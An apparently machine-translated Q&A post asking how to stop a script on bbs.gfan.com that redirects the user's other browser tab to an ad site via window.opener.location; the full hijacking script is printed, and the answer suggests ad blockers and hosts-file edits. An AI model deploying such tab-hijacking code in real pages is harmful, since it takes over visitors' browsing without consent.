我的一位朋友称他的Chrome浏览器标签有时会变成“tamll.com”,这是中国最大的购物网站。
起初我认为它可能是由恶意软件引起的。但他有一个干净的操作系统,他检查了计算机中的所有内容。
然后我找到了this javascript。代码总是在这个问题的底部。此脚本包含在“bbs.gfan.com”中。
该脚本使用window.opener.location来更改另一个浏览器选项卡的网页。当您从google.com打开“bbs.gfan.com”中的任何页面时(例如在Google中搜索“bbs.gfan.com”并单击第一个答案),此脚本会检查window.opener是否为空,并且将window.opener.location设置为_5had0w.mall。然后window.opener选项卡将跳转到新地址。
有没有办法在尝试更改window.opener.location时阻止脚本?或者有没有办法直接禁用window.opener.location?
我认为普通网页永远不会更改此变量,它只能用于此类广告脚本。
这种广告文字让我感到恶心。它不仅会打开广告网页,而且其他网页也会消失......
if ("undefined" == typeof (_5had0w)) {
_5had0w = [];
_5had0w.ssite = new RegExp("(www.baidu.com)|(www.google.c)|(www.youdao.com)|(search.cn.yahoo.com)|(search.yahoo.com)|(114search.118114.cn)|(bing.118114.cn)|(search.114.vnet.cn)|(bing.com)|(www.soso.com)|(www.sogou.com)|(www.taobao.com)|(gougou.com)|(www.gouwo.com)|(cache.baidu.com)|(m.baidu.com)|(baidu.asp)|(hao123.com)|(265.com)|(114la.com)|(115.com)|(etao.com)", "i");
_5had0w.win = window;
try {
if (parent && parent.f && parent.document.getElementById("fulliframe")) {
_5had0w.win = parent
}
} catch (e) {}
_5had0w.getcookie = function (sName) {
var aCookie = document.cookie.split("; ");
for (var i = 0; i < aCookie.length; i++) {
var aCrumb = aCookie[i].split("=");
if (sName == aCrumb[0]) return unescape(aCrumb[1])
}
return ""
};
_5had0w.setcookie = function (sValue) {
date = new Date();
date.setMinutes(date.getMinutes() + 100);
document.cookie = "oc_busy=" + escape(sValue) + "; expires=" + date.toGMTString() + ";path=/"
};
_5had0w.mall = "http://gomallg.blogbus.com/?76";
_5had0w.np = false;
_5had0w.nvIt = function (lochref) {
try {
_5had0w.win.opener.location = lochref
} catch (e) {
try {
_5had0w.win.opener.navigate(lochref)
} catch (e2) {
try {
_5had0w.win.opener.opener.navigate(lochref)
} catch (e3) {
_5had0w.np = true
}
}
}
};
_5had0w.nvUrl = function () {
var _co = _5had0w.getcookie("oc_busy");
if (_co == "" || _co.indexOf("mall") < 0) {
_5had0w.nvIt(_5had0w.mall);
if (!_5had0w.np) {
_5had0w.setcookie(_co + "_mall")
}
}
};
_5had0w.oload = function () {
if (_5had0w.win.opener && "" == _5had0w.getcookie('rf6_auth')) {
if (_5had0w.ssite.test(_5had0w.win.document.referrer)) {
_5had0w.nvUrl()
}
}
};
try {
if (document.attachEvent) {
window.attachEvent("onload", _5had0w.oload)
} else {
window.addEventListener("load", _5had0w.oload, false)
}
} catch (e) {}
}
答案 0 :(得分:0)
此网络应用程序利用了谷歌和其他网站从gfan.com开放的事实。因此,gfan.com Web应用程序确实可以控制新窗口,因为它打开了它们。
如果应用程序底部的脚本是您怀疑导致问题的原因,您可以尝试使用可以安装为扩展程序的Chrome和Firefox获得的几个广告拦截器之一。
如果这不起作用,您可以尝试编辑主机文件并将远程脚本的域指向127.0.0.1,以便在本地覆盖DNS。这假设它是一个远程脚本,而不是来自gfan.com本身;否则,您将无法访问gfan.com。
Chrome Adblock是您可以尝试的广告拦截器。